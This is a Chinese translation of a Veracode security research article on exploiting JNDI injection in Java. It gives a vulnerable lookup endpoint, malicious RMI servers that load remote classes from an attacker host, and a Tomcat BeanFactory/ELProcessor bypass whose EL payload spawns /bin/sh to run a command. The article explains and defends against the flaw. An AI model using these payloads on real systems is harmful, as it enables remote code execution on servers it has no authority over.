新闻详情

Java中的JNDI注入利用

 

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI)是允许客户端通过名称发现和查找数据及对象的JAVA API。这些对象会保存在不同的命名和目录服务中,例如远程方法调用(RMI),公共对象请求代理结果(CORBA),轻目录访问协议(LDAP),或域名服务。


换句话说,JNDI是一个简单JAVA API(例如InitialContext.lookup(String name)),仅接受一个String参数,如果该参数来自不受信任的源,它可能会导致通过远程类加载远程代码执行。


当请求对象的名称被攻击者控制,它可能将受害JAVA应用指向恶意的 rmi/ldap/coba 服务器并响应任意对象。如果这个对象是” javax.naming.Reference”类的实例,JNDI客户端尝试解析”classFactory”和” classFactoryLocation”属性。


如果"classFactory"值相对于目标JAVA应用是未知的,JAVA会通过" URLClassLoader "从"classFactoryLocation"位置中获取工厂字节码。


由于它是简单的,当'InitialContext.lookup'方法没有直接暴露给受污染的数据时利用JAVA漏洞它是非常好用的。在某些情况下,还可能通过反序列化或不安全反射攻击来实现。


漏洞代码示例:


  @RequestMapping("/lookup")
    @Example(uri = {"/lookup?name=java:comp/env"})
    public Object lookup(@RequestParam String name) throws Exception{
        return new javax.naming.InitialContext().lookup(name);
    }



在JDK1.8.0_191之前的JNDI注入利用

通过请求URL "/lookup/?name=ldap://127.0.0.1:1389/Object",我们可以使漏洞服务器连接到我们控制的地址。要触发远程加载类,一个恶意的RMI服务器可以参考以下进行响应:

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
        Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/");

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}


由于"ExploitObject"对目标服务器是未知的,它的字节码将会从"http://_attacker.com_/ExploitObject.class"加载并执行,从而触发RCE。


当Oracle添加RMI代码库限制时,这个方法在Java 8u121上是有效的。在那之后,可以使用返回相同源的恶意LDAP服务器,如"A Journey from JNDI/LDAP manipulation to remote code execution dream land"研究中描述的那样。可以在Github中'Java Unmarshaller Security'项目找到代码示例。

两年后,在更新的Java 8u191中,Oracle 在LDAP向量中设置了相同的限制并发布了CVE-2018-3149,关掉了JNDI远程类加载的大门。然而,它仍然可以通过JNDI注入触发不受信任反序列化数据,但是利用很大程序上取决于现有的工具


在JDK 1.8.0_191上利用JNDI注入


从Java 8u191开始,当JNDI客户端接收到引用对象时,"classFactoryLocation"在RMI和LDAP中是不起作用的。另一方面,我们仍可以在"javaFactory"属性中指定任意工厂类。

该类将用于从攻击者控制的"javax.naming.Reference"类中提取出真实对象。它应该存在于目标的classpath中,实现"javax.naming.spi.ObjectFactory"并且至少有一个"getObjectInstance"方法:

public interface ObjectFactory {
/**
 * Creates an object using the location or reference information
 * specified.
 * ...
/*
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment)
        throws Exception;
}


主要想法是在目标classpath中找到一个工厂,它通过引用的属性做一些危险的事情。在JDK和流行的类库中查找此方法的不同实现,我们发现利用时非常有趣。

Apache Tomcat中"org.apache.naming.factory.BeanFactory"包含通过反射创建Bean的逻辑:

public class BeanFactory
    implements ObjectFactory {

    /**
     * Create a new Bean instance.
     *
     * @param obj The reference object describing the Bean
     */
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment)
        throws NamingException {
         if (obj instanceof ResourceRef) {
             try { 
                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName();
                Class beanClass = null;
                ClassLoader tcl =
                    Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch(ClassNotFoundException e) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    } catch(ClassNotFoundException e) {
                        e.printStackTrace();
                    }
                }
                 ...
                 BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                 Object bean = beanClass.getConstructor().newInstance();
                 /* Look for properties with explicitly configured setter */
                RefAddr ra = ref.get("forceString");
                Map forced = new HashMap<>();
                String value;
                 if (ra != null) {
                    value = (String)ra.getContent();
                    Class paramTypes[] = new Class[1];
                    paramTypes[0] = String.class;
                    String setterName;
                    int index;
                     /* Items are given as comma separated list */
                    for (String param: value.split(",")) {
                        param = param.trim();
                        /* A single item can either be of the form name=method
                         * or just a property name (and we will use a standard
                         * setter) */
                        index = param.indexOf('=');
                        if (index >= 0) {
                            setterName = param.substring(index + 1).trim();
                            param = param.substring(0, index).trim();
                        } else {
                            setterName = "set" +
                                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                                         param.substring(1);
                        }
                        try {
                            forced.put(param,
                                       beanClass.getMethod(setterName, paramTypes));
                        } catch (NoSuchMethodException|SecurityException ex) {
                            throw new NamingException
                                ("Forced String setter " + setterName +
                                 " not found for property " + param);
                        }
                    }
                }
                 Enumeration e = ref.getAll();
                 while (e.hasMoreElements()) {
                     ra = e.nextElement();
                    String propName = ra.getType();
                     if (propName.equals(Constants.FACTORY) ||
                        propName.equals("scope") || propName.equals("auth") ||
                        propName.equals("forceString") ||
                        propName.equals("singleton")) {
                        continue;
                    }
                     value = (String)ra.getContent();
                     Object[] valueArray = new Object[1];
                     /* Shortcut for properties with explicitly configured setter */
                    Method method = forced.get(propName);
                    if (method != null) {
                        valueArray[0] = value;
                        try {
                            method.invoke(bean, valueArray);
                        } catch (IllegalAccessException|
                                 IllegalArgumentException|
                                 InvocationTargetException ex) {
                            throw new NamingException
                                ("Forced String setter " + method.getName() +
                                 " threw exception for property " + propName);
                        }
                        continue;
                    }

类"BeanFactory"创建任意Bean的实例并为所有属性调用它的setter方法。目标Bean类名,属性,和属性值全都来自于攻击者控制的引用对象。

目标类应该有一个public 无参构造方法和仅有一个”String”参数的public setter方法。实际上,这些setter方法不一定都是’set‘开头,就像"BeanFactory"包含围绕我们可以为任何参数指定任意setter名称的逻辑。

/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map forced = new HashMap<>();
String value;

if (ra != null) {
    value = (String)ra.getContent();
    Class paramTypes[] = new Class[1];
    paramTypes[0] = String.class;
    String setterName;
    int index;
     /* Items are given as comma separated list */
    for (String param: value.split(",")) {
        param = param.trim();
        /* A single item can either be of the form name=method
         * or just a property name (and we will use a standard
         * setter) */
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                         param.substring(1);
        }

这里神奇的属性是"forceString"。通过设置它,比如设置"x=eval",我们可以为属性’x’调用eval方法来代替’setX’。因此,使用"BeanFactory"类,我们可以通过默认构造方法创建任意类的实例,并使用一个"String"参数调用任一public方法。


其中最有可能的类就是"javax.el.ELProcessor"。在它的"eval"方法中,我们可以指定一个字符串来表示要执行的Java EL表达式。

package javax.el;
...
public class ELProcessor {
...
    public Object eval(String expression) {
        return getValue(expression, Object.class);
    }

下面是一个恶意的表达式,它将执行恶意命令

 {"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")}


环环相扣


在补丁之后,LDAP和RMI几乎没有区别用于利用目的,为了简单我们将使用RMI

我们编写了自己的恶意RMI服务器用于响应精心设计"ResourceRef"对象

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

此服务器使用'org.apache.naming.ResourceRef'的序列化对象进行响应,并使用所有精心设计的属性去触发客户端所需要的行为。


在JAVA进程中触发JNDI解析


new InitialContext().lookup("rmi://127.0.0.1:1097/Object")

反序列化此对象时不会产生任何不良后果,但由于它仍然继承了"javax.naming.Reference",‘害者端’使用工厂"org.apache.naming.factory.BeanFactory"从引用中获取’真实’对象。

在此阶段,将触发模版赋值的远程代码执行,即'nslookup jndi.s.artsploit.com'命令将被执行。

这里唯一的限制是目标JAVA应用classpath中应该有一个来自Apache Tomcat的"org.apache.naming.factory.BeanFactory"类。但其它的应用服务器可能拥有其它危险函数的对象工厂。


解决方法


该问题实际上不包含在JDK或者Apache Tomcat的类库中,而是将用户可控数据传递给"InitialContext.lookup()"方法的自定义应用程序中,因此安装所有安全补丁的JDK版本中仍然存在安全风险。请记住大多数情况下,其它漏洞(比如”不受信任的反序列化数据”)也可导致JNDI解析。使用源代码审计来防止这些漏洞始终是一个好主意。


原文链接:https://www.veracode.com/blog/research/exploiting-jndi-injections-java